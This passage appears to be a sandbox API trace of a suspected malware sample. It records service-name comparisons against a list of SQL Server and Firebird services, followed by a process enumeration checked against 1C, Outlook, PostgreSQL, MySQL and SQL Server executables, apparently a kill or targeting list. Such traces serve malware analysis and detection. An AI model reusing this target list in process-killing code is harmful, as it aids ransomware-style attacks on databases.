(lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0214.851] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0214.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0214.851] lstrlenW (lpString="lmhosts") returned 7 [0214.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0214.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0214.851] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0214.851] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0214.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0214.851] lstrlenW (lpString="MMCSS") returned 5 [0214.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0214.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0214.851] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0214.851] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0214.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0214.851] lstrlenW (lpString="MpsSvc") returned 6 [0214.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0214.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0214.851] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0214.851] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0214.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0214.851] lstrlenW (lpString="Netman") returned 6 [0214.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0214.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0214.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0214.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0214.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0214.851] lstrlenW (lpString="netprofm") returned 8 [0214.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0214.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0214.852] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0214.852] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0214.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0214.852] lstrlenW (lpString="NlaSvc") returned 6 [0214.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0214.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0214.852] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0214.852] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0214.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0214.852] lstrlenW (lpString="nsi") returned 3 [0214.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0214.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0214.852] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0214.852] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0214.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0214.852] lstrlenW (lpString="PcaSvc") returned 6 [0214.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0214.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0214.852] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0214.852] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0214.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0214.852] lstrlenW (lpString="PlugPlay") returned 8 [0214.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0214.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0214.852] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0214.852] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0214.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0214.853] lstrlenW (lpString="Power") returned 5 [0214.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0214.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0214.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0214.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0214.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0214.853] lstrlenW (lpString="ProfSvc") returned 7 [0214.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0214.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0214.853] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0214.853] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0214.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0214.853] lstrlenW (lpString="RpcEptMapper") returned 12 [0214.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.853] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0214.853] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0214.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0214.853] lstrlenW (lpString="RpcSs") returned 5 [0214.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0214.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0214.853] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0214.853] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0214.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0214.853] lstrlenW (lpString="SamSs") returned 5 [0214.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0214.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0214.853] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0214.854] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0214.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0214.854] lstrlenW (lpString="Schedule") returned 8 [0214.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0214.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0214.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0214.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0214.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0214.854] lstrlenW (lpString="SENS") returned 4 [0214.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0214.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0214.854] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0214.854] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0214.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0214.854] lstrlenW (lpString="ShellHWDetection") returned 16 [0214.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.854] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0214.854] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0214.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0214.854] lstrlenW (lpString="Spooler") returned 7 [0214.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0214.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0214.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0214.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0214.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0214.854] lstrlenW (lpString="sppsvc") returned 6 [0214.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0214.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0214.855] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0214.855] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0214.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0214.855] lstrlenW (lpString="SysMain") returned 7 [0214.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0214.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0214.855] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0214.855] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0214.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0214.855] lstrlenW (lpString="Themes") returned 6 [0214.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0214.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0214.855] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0214.855] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0214.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0214.855] lstrlenW (lpString="TrkWks") returned 6 [0214.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0214.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0214.855] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0214.855] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0214.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0214.855] lstrlenW (lpString="UxSms") returned 5 [0214.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0214.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0214.855] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0214.856] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0214.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0214.856] lstrlenW (lpString="VSS") returned 3 [0214.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0214.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0214.856] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0214.856] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0214.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0214.856] lstrlenW (lpString="WdiServiceHost") returned 14 [0214.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0214.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0214.856] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0214.856] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0214.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0214.856] lstrlenW (lpString="WdiSystemHost") returned 13 [0214.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0214.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0214.856] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0214.856] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0214.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0214.856] lstrlenW (lpString="WinDefend") returned 9 [0214.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0214.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0214.856] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0214.856] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0214.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0214.856] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0214.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0214.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0214.857] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0214.857] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0214.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0214.857] lstrlenW (lpString="Winmgmt") returned 7 [0214.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0214.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0214.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0214.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0214.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0214.857] lstrlenW (lpString="wscsvc") returned 6 [0214.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0214.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0214.857] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0214.857] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0214.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0214.857] lstrlenW (lpString="wuauserv") returned 8 [0214.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0214.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0214.857] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0214.857] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0214.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0214.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f1c0d8 | out: hHeap=0x4f0000) returned 1 [0214.857] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x170 [0214.859] Process32FirstW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.860] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.861] lstrlenW (lpString="System") returned 6 [0214.861] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0214.861] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0214.861] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0214.861] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0214.861] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0214.861] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0214.861] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0214.862] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.862] lstrlenW (lpString="smss.exe") returned 8 [0214.862] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0214.862] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0214.862] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.863] lstrlenW (lpString="csrss.exe") returned 9 [0214.863] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.865] lstrlenW (lpString="wininit.exe") returned 11 [0214.865] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.866] lstrlenW (lpString="csrss.exe") returned 9 [0214.866] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.867] lstrlenW (lpString="winlogon.exe") returned 12 [0214.867] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.868] lstrlenW (lpString="services.exe") returned 12 [0214.868] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.868] lstrlenW (lpString="lsass.exe") returned 9 [0214.869] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0214.869] lstrlenW (lpString="lsm.exe") returned 7 [0214.869] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.870] lstrlenW (lpString="svchost.exe") returned 11 [0214.870] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.871] lstrlenW (lpString="svchost.exe") returned 11 [0214.871] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.872] lstrlenW (lpString="svchost.exe") returned 11 [0214.872] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.873] lstrlenW (lpString="svchost.exe") returned 11 [0214.873] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.874] lstrlenW (lpString="svchost.exe") returned 11 [0214.874] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.875] lstrlenW (lpString="audiodg.exe") returned 11 [0214.875] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.876] lstrlenW (lpString="svchost.exe") returned 11 [0214.876] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.876] lstrlenW (lpString="svchost.exe") returned 11 [0214.877] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.877] lstrlenW (lpString="dwm.exe") returned 7 [0214.877] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.878] lstrlenW (lpString="explorer.exe") returned 12 [0214.878] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.879] lstrlenW (lpString="spoolsv.exe") returned 11 [0214.879] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0214.926] lstrlenW (lpString="taskhost.exe") returned 12 [0214.926] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.944] lstrlenW (lpString="svchost.exe") returned 11 [0214.944] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0214.944] lstrlenW (lpString="taskeng.exe") returned 11 [0214.945] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0214.945] lstrlenW (lpString="taskhost.exe") returned 12 [0214.945] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0214.946] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0214.946] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0214.946] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0214.946] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0214.947] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0214.947] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0214.948] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0214.948] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, 